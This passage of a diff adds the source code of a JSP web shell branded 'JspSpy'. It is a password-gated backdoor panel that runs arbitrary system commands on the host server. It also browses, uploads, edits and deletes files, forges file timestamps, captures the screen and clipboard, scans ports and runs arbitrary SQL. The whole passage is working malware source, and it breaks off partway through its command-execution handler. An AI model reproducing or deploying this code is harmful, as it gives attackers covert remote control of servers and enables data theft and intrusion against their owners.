+this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean equals(Object o) { +if (o instanceof DBOperator) { +DBOperator dbo = (DBOperator)o; +return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); +} +return false; +} +} +private static class StreamConnector extends Thread { +private InputStream is; +private OutputStream os; +public StreamConnector( InputStream is, OutputStream os ){ +this.is = is; +this.os = os; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[8192]; +int length; +while((length = in.read( buffer, 0, buffer.length ))>0){ +out.write( buffer, 0, length ); +out.flush(); +} +} catch(Exception e){} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){} +} +} +private static class OnLineProcess { +private String cmd = "first"; +private Process pro; +public OnLineProcess(Process p){ +this.pro = p; +} +public void setPro(Process p) { +this.pro = p; +} +public void setCmd(String c){ +this.cmd = c; +} +public String getCmd(){ +return this.cmd; +} +public Process getPro(){ +return this.pro; +} +public void stop(){ +this.pro.destroy(); +} +} +private static class OnLineConnector extends Thread { +private OnLineProcess ol = null; +private InputStream is; +private OutputStream os; +private String name; +public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ +this.is = is; +this.os = os; +this.name = name; +this.ol = ol; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[128]; +if(this.name.equals("exeRclientO")) { +//from exe to client +int length = 0; +while((length = in.read( buffer, 0, buffer.length ))>0){ +String str = new String(buffer, 0, length); +str = str.replace("&","&").replace("<","<").replace(">",">"); +str = str.replace(""+(char)13+(char)10,"
    "); +str = str.replace("\n","
    "); +out.write(str.toCharArray(), 0, str.length()); +out.flush(); +} +} else { +//from client to exe +while(true) { +while(this.ol.getCmd() == null) { +Thread.sleep(500); +} +if (this.ol.getCmd().equals("first")) { +this.ol.setCmd(null); +continue; +} +this.ol.setCmd(this.ol.getCmd() + (char)10); +char[] arr = this.ol.getCmd().toCharArray(); +out.write(arr,0,arr.length); +out.flush(); +this.ol.setCmd(null); +} +} +} catch(Exception e){ +} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){ +} +} +} +private static class Table{ +private ArrayList rows = null; +private boolean echoTableTag = false; +public void setEchoTableTag(boolean v) { +this.echoTableTag = v; +} +public Table(){ +this.rows = new ArrayList(); +} +public void addRow(Row r) { +this.rows.add(r); +} +public String toString(){ +StringBuilder html = new StringBuilder(); +if (echoTableTag) +html.append(""); +for (Row r:rows) { +html.append(""); +for (Column c:r.getColumns()) { +html.append(""); +} +html.append(""); +} +if (echoTableTag) +html.append("
    "); +String vv = Util.htmlEncode(Util.getStr(c.getValue())); +if (vv.equals("")) +vv = " "; +html.append(vv); +html.append("
    "); +return html.toString(); +} +} +private static class Row{ +private ArrayList cols = null; +public Row(){ +this.cols = new ArrayList(); +} +public void addColumn(Column n) { +this.cols.add(n); +} +public ArrayList getColumns(){ +return this.cols; +} +} +private static class Column{ +private String value; +public Column(String v){ +this.value = v; +} +public String getValue(){ +return this.value; +} +} +private static class Util{ +public static boolean isEmpty(String s) { +return s == null || s.trim().equals(""); +} +public static boolean isEmpty(Object o) { +return o == null || isEmpty(o.toString()); +} +public static String getSize(long size,char danwei) { +if (danwei == 'M') { +double v = formatNumber(size / 1024.0 / 1024.0,2); +if (v > 1024) { +return getSize(size,'G'); +}else { +return v + "M"; +} +} else if (danwei == 'G') { +return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; +} else if (danwei == 'K') { +double v = formatNumber(size / 1024.0,2); +if (v > 1024) { +return getSize(size,'M'); +} else { +return v + "K"; +} +} else if (danwei == 'B') { +if (size > 1024) { +return getSize(size,'K'); +}else { +return size + "B"; +} +} +return ""+0+danwei; +} +public static double formatNumber(double value,int l) { +NumberFormat format = NumberFormat.getInstance(); +format.setMaximumFractionDigits(l); +format.setGroupingUsed(false); +return new Double(format.format(value)); +} +public static boolean isInteger(String v) { +if (isEmpty(v)) +return false; +return v.matches("^\\d+$"); +} +public static String formatDate(long time) { +SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); +return format.format(new java.util.Date(time)); +} +public static String convertPath(String path) { +return path != null ? path.replace("\\","/") : ""; +} +public static String htmlEncode(String v) { +if (isEmpty(v)) +return ""; +return v.replace("&","&").replace("<","<").replace(">",">"); +} +public static String getStr(String s) { +return s == null ? "" :s; +} +public static String getStr(Object s) { +return s == null ? "" :s.toString(); +} +public static String exec(String regex, String str, int group) { +Pattern pat = Pattern.compile(regex); +Matcher m = pat.matcher(str); +if (m.find()) +return m.group(group); +return null; +} +public static void outMsg(Writer out,String msg) throws Exception { +outMsg(out,msg,"center"); +} +public static void outMsg(Writer out,String msg,String align) throws Exception { +if (msg.indexOf("java.lang.ClassNotFoundException") != -1) +msg = "Can Not Find The Driver!
    " + msg; +out.write("
    "+msg+"
    "); +} +} +private static class UploadBean { +private String fileName = null; +private String suffix = null; +private String savePath = ""; +private ServletInputStream sis = null; +private byte[] b = new byte[1024]; +public UploadBean() { +} +public void setSavePath(String path) { +this.savePath = path; +} +public void parseRequest(HttpServletRequest request) throws IOException { +sis = request.getInputStream(); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!= -1) { +s = new String(b, 0, a,PAGE_CHARSET); +if ((k = s.indexOf("filename=\""))!= -1) { +s = s.substring(k + 10); +k = s.indexOf("\""); +s = s.substring(0, k); +File tF = new File(s); +if (tF.isAbsolute()) { +fileName = tF.getName(); +} else { +fileName = s; +} +k = s.lastIndexOf("."); +suffix = s.substring(k + 1); +upload(); +} +} +} +private void upload() { +try { +FileOutputStream out = new FileOutputStream(new File(savePath,fileName)); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!=-1) { +s = new String(b, 0, a); +if ((k = s.indexOf("Content-Type:"))!=-1) { +break; +} +} +sis.readLine(b,0,b.length); +while ((a = sis.readLine(b,0,b.length)) != -1) { +s = new String(b, 0, a); +if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { +break; +} +out.write(b, 0, a); +} +out.close(); +} catch (IOException ioe) { +ioe.printStackTrace(); +} +} +} +%> +<% +SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); +String myAbsolutePath = application.getRealPath(request.getServletPath()); +if (Util.isEmpty(myAbsolutePath)) {//for weblogic +SHELL_NAME = request.getServletPath(); +myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); +SHELL_NAME=request.getContextPath()+SHELL_NAME; +WEB_ROOT = new File(application.getResource("/").getPath()).toString(); +} else { +WEB_ROOT = application.getRealPath("/"); +} +SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); +if (session.getAttribute(CURRENT_DIR) == null) +session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); +request = new MyRequest(request); +if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { +String o = request.getParameter("o"); +if (o != null && o.equals("login")) { +ins.get("login").invoke(request,response,session); +return; +} else if (o != null && o.equals("vLogin")) { +ins.get("vLogin").invoke(request,response,session); +return; +} else { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} +} +%> +<%! +private static interface Invoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; +public boolean doBefore(); +public boolean doAfter(); +} +private static class DefaultInvoker implements Invoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +} +public boolean doBefore(){ +return true; +} +public boolean doAfter() { +return true; +} +} +private static class ScriptInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); + +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BeforeInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("JspSpy Codz By - Ninty"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class AfterInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DeleteBatchInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (!Util.isEmpty(files)) { +String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); +String[] arr = files.split(","); +for (String fs:arr) { +File f = new File(currentDir,fs); +f.delete(); +} +} +JSession.setAttribute(MSG,"Delete Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ClipBoardInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    System Clipboard »

    "+ +"

    ");
    +try{
    +out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
    +}catch (Exception ex) {
    +out.println("ClipBoard is Empty Or Is Not Text Data !");
    +}
    +out.println("
    "+ +" "+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VRemoteControlInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
    "+ +"

    Remote Control »

    "+ +" Speed(Second , dont be so fast) Can Not Control Yet."+ +"

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//GetScreen +private static class GcInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Dimension size = Toolkit.getDefaultToolkit().getScreenSize(); +Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight()); +BufferedImage img = new Robot().createScreenCapture(rec); +response.setContentType("image/jpeg"); +ImageIO.write(img,"jpg",response.getOutputStream()); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VPortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +if (Util.isEmpty(ip)) +ip = "127.0.0.1"; +if (Util.isEmpty(ports)) +ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; +if (Util.isEmpty(timeout)) +timeout = "2"; +out.println("
    "+ +"

    PortScan >>

    "+ +"
    "+ +"

    "+ +"IP : Port : Timeout (秒) : "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class PortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +ins.get("vPortScan").invoke(request,response,JSession); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +int iTimeout = 0; +if (Util.isEmpty(ip) || Util.isEmpty(ports)) +return; +if (!Util.isInteger(timeout)) { +timeout = "2"; +} +iTimeout = Integer.parseInt(timeout); +Map rs = new LinkedHashMap(); +String[] portArr = ports.split(","); +for (String port:portArr) { +try { +Socket s = new Socket(); +s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout); +s.close(); +rs.put(port,"Open"); +} catch (Exception e) { +rs.put(port,"Close"); +} +} +out.println("
    "); +Set> entrySet = rs.entrySet(); +for (Map.Entry e:entrySet) { +String port = e.getKey(); +String value = e.getValue(); +out.println(ip+" : "+port+" ................................. "+value+"
    "); +} +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VConnInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object obj = JSession.getAttribute(DBO); +if (obj == null || !((DBOperator)obj).isValid()) { +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//DBConnect +private static class DbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String driver = request.getParameter("driver"); +String url = request.getParameter("url"); +String uid = request.getParameter("uid"); +String pwd = request.getParameter("pwd"); +String sql = request.getParameter("sql"); +String selectDb = request.getParameter("selectDb"); +if (selectDb == null) +selectDb = JSession.getAttribute("selectDb").toString(); +else +JSession.setAttribute("selectDb",selectDb); +Object dbo = JSession.getAttribute(DBO); +if (dbo == null || !((DBOperator)dbo).isValid()) { +if (dbo != null) +((DBOperator)dbo).close(); +dbo = new DBOperator(driver,url,uid,pwd,true); +} else { +if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { +DBOperator oldDbo = (DBOperator)dbo; +dbo = new DBOperator(driver,url,uid,pwd); +if (!oldDbo.equals(dbo)) { +((DBOperator)oldDbo).close(); +((DBOperator)dbo).connect(); +} else { +dbo = oldDbo; +} +} +} +DBOperator Ddbo = (DBOperator)dbo; +JSession.setAttribute(DBO,Ddbo); +Util.outMsg(out,"Connect To DataBase Success!"); +out.println(" "); +out.println("
    "+ +"
    "+ +""+ +"

    DataBase Manager »

    "+ +""+ +"

    "+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

    "+ +"
    "); +out.println("
    "+ +"

    Run SQL query/queries on database :

    "); +} catch (Exception e) { +//e.printStackTrace(); +throw e; +} +} +} +private static class ExecuteSQLInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String sql = request.getParameter("sql"); +String db = request.getParameter("selectDb"); +Object dbo = JSession.getAttribute(DBO); +if (!Util.isEmpty(sql)) { +if (dbo == null || !((DBOperator)dbo).isValid()) { +response.sendRedirect(SHELL_NAME+"?o=vConn"); +} else { +ins.get("dbc").invoke(request,response,JSession); +Object obj = ((DBOperator)dbo).execute(sql); +if (obj instanceof ResultSet) { +ResultSet rs = (ResultSet)obj; +ResultSetMetaData meta = rs.getMetaData(); +int colCount = meta.getColumnCount(); +out.println("

    Query#0 : "+Util.htmlEncode(sql)+"

    "); +out.println(""); +for (int i=1;i<=colCount;i++) { +out.println(""); +} +out.println(""); +Table tb = new Table(); +while(rs.next()) { +Row r = new Row(); +for (int i = 1;i<=colCount;i++) { +r.addColumn(new Column(rs.getString(i))); +} +tb.addRow(r); +} +out.println(tb.toString()); +out.println("
    "+meta.getColumnName(i)+"
    "+meta.getColumnTypeName(i)+"
    "); +rs.close(); +((DBOperator)dbo).closeStmt(); +} else { +out.println("

    affected rows : "+obj+"

    "); +} +} +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VLoginInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
    "+ +"

    Password: "+ +" "+ +" "+ +" "+ +"

    "+ +" "+ +"Copyright © 2009 NinTy www.Forjj.com

    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class LoginInvoker extends DefaultInvoker{ +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String inputPw = request.getParameter("pw"); +if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} else { +JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MyComparator implements Comparator{ +public int compare(File f1,File f2) { +if (f1 != null && f2!= null) { +if (f1.isDirectory()) { +if (f2.isDirectory()) { +return f1.getName().compareTo(f2.getName()); +} else { +return -1; +} +} else { +if (f2.isDirectory()) { +return 1; +} else { +return f1.getName().compareTo(f2.getName()); +} +} +} +return 0; +} +} +private static class FileListInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("folder"); +if (Util.isEmpty(path)) +path = JSession.getAttribute(CURRENT_DIR).toString(); + +JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); +File file = new File(path); +if (!file.exists()) { +throw new Exception(path+"Dont Exists !"); +} +JSession.setAttribute(CURRENT_DIR,path); +File[] list = file.listFiles(); +Arrays.sort(list,new MyComparator()); +out.println("
    "); +String cr = null; +try { +cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); +}catch(Exception e) { +cr = "/"; +} +File currentRoot = new File(cr); +out.println("

    File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total "+Util.getSize(currentRoot.getTotalSpace(),'G')+"

    "); +out.println("
    "+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
    Current Directory
    "+ +"
    "); +out.println(""+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +""); +if (file.getParent() != null) { +out.println(""+ +""+ +""+ +""); +} +int dircount = 0; +int filecount = 0; +for (File f:list) { +if (f.isDirectory()) { +dircount ++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} else { +filecount++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} +} +out.println(""+ +" "+ +" "+ +"
    "+ +"
    "+ +"Web Root"+ +" | Shell Directory"+ +" | New Directory | New File"+ +" | "); +File[] roots = file.listRoots(); +for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); +if (i != roots.length -1) { +out.println("|"); +} +} +out.println("
     NameLast ModifiedSizeRead/Write/Execute 
    =Goto Parent
    0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+"Del | Move | Pack
    "+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ +""+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+""+ +"Edit | "+ +"Down | "+ +"Copy | "+ +"Move | "+ +"Property"); +if (f.getName().endsWith(".zip")) { +out.println(" | UnPack"); +} else if (f.getName().endsWith(".rar")) { +out.println(" | UnPack"); +} else { +out.println(" | Pack"); +} +out.println("
     Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
    "); +out.println("
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class LogoutInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object dbo = JSession.getAttribute(DBO); +if (dbo != null) +((DBOperator)dbo).close(); +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +Object online = JSession.getAttribute(SHELL_ONLINE); +if (online != null) +((OnLineProcess)online).stop(); +JSession.invalidate(); +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class UploadInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +UploadBean fileBean = new UploadBean(); +response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.parseRequest(request); +JSession.setAttribute(MSG,"Upload File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CopyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String src = request.getParameter("src"); +String to = request.getParameter("to"); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src))); +BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); +byte[] d = new byte[1024]; +int len = input.read(d); +while(len != -1) { +output.write(d,0,len); +len = input.read(d); +} +output.close(); +input.close(); +JSession.setAttribute(MSG,"Copy File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BottomInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +response.getWriter().println("
    Copyright (C) 2009 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VCreateFileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (!f.isAbsolute()) { +String oldPath = path; +path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path+="/"; +path+=oldPath; +f = new File(path); +f.createNewFile(); +} else { +f.createNewFile(); +} +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (f.exists()) { +BufferedReader reader = new BufferedReader(new FileReader(f)); +StringBuilder content = new StringBuilder(); +String s = reader.readLine(); +while (s != null) { +content.append(s+"\r\n"); +s = reader.readLine(); +} +reader.close(); +out.println("
    "+ +"
    "+ +"

    Create / Edit File »

    "+ +""+ +"

    Current File (import new file name and new file)

    "+ +"

    File Content

    "+ +"

    "+ +"
    "+ +"
    "); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CreateFileInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String content = request.getParameter("filecontent"); + +BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path))); +outs.write(content,0,content.length()); +outs.close(); +JSession.setAttribute(MSG,"Save File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditPropertyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String filepath = request.getParameter("filepath"); +File f = new File(filepath); +if (!f.exists()) +return; +String read = f.canRead() ? "checked=\"checked\"" : ""; +String write = f.canWrite() ? "checked=\"checked\"" : ""; +String execute = f.canExecute() ? "checked=\"checked\"" : ""; +Calendar cal = Calendar.getInstance(); +cal.setTimeInMillis(f.lastModified()); + +out.println("
    "+ +"
    "+ +"

    Set File Property »

    "+ +"

    Current file (fullpath)

    "+ +" "+ +"

    Read: "+ +" "+ +" Write: "+ +" "+ +" Execute: "+ +" "+ +"

    "+ +"

    Instead »"+ +"year:"+ +""+ +"month:"+ +""+ +"day:"+ +""+ +""+ +"hour:"+ +""+ +"minute:"+ +""+ +"second:"+ +""+ +"

    "+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class EditPropertyInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String f = request.getParameter("file"); +File file = new File(f); +if (!file.exists()) +return; +String read = request.getParameter("read"); +String write = request.getParameter("write"); +String execute = request.getParameter("execute"); +String year = request.getParameter("year"); +String month = request.getParameter("month"); +String date = request.getParameter("date"); +String hour = request.getParameter("hour"); +String minute = request.getParameter("minute"); +String second = request.getParameter("second"); +if (Util.isEmpty(read)) { +file.setReadable(false); +} else { +file.setReadable(true); +} +if (Util.isEmpty(write)) { +file.setWritable(false); +} else { +file.setWritable(true); +} +if (Util.isEmpty(execute)) { +file.setExecutable(false); +} else { +file.setExecutable(true); +} +Calendar cal = Calendar.getInstance(); +cal.set(Calendar.YEAR,Integer.parseInt(year)); +cal.set(Calendar.MONTH,Integer.parseInt(month)-1); +cal.set(Calendar.DATE,Integer.parseInt(date)); +cal.set(Calendar.HOUR,Integer.parseInt(hour)); +cal.set(Calendar.MINUTE,Integer.parseInt(minute)); +cal.set(Calendar.SECOND,Integer.parseInt(second)); +if(file.setLastModified(cal.getTimeInMillis())){ +JSession.setAttribute(MSG,"Reset File Property Success!"); +} else { +JSession.setAttribute(MSG,"Reset File Property Failed!"); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VShell +private static class VsInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String cmd = request.getParameter("command"); +String program = request.getParameter("program"); +if (cmd == null) cmd = "cmd.exe /c set"; +if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; +if (JSession.getAttribute(MSG)!=null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +out.println(""+ +"
    "+ +"
    "+ +"

    Execute Program »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "+ +"

    Execute Shell »

    "+ +"

    "+ +""+ +""+ +"Parameter
    "+ +""+ +"

    "+ +"
    "+ +"
    "); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ShellInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (type.equals("command")) { +ins.get("vs").invoke(request,response,JSession); +out.println("

    "); +out.println("
    ");
    +String command = request.getParameter("command");
    +if (!Util.isEmpty(command)) {
    +Process pro = Runtime.getRuntime().exec(command);
    +BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    +String s = reader.readLine();
    +while (s != null) {
    +out.println(Util.htmlEncode(Util.getStr(s)));
    +s = reader.readLine();
    +}
    +reader.close();
    +out.println("
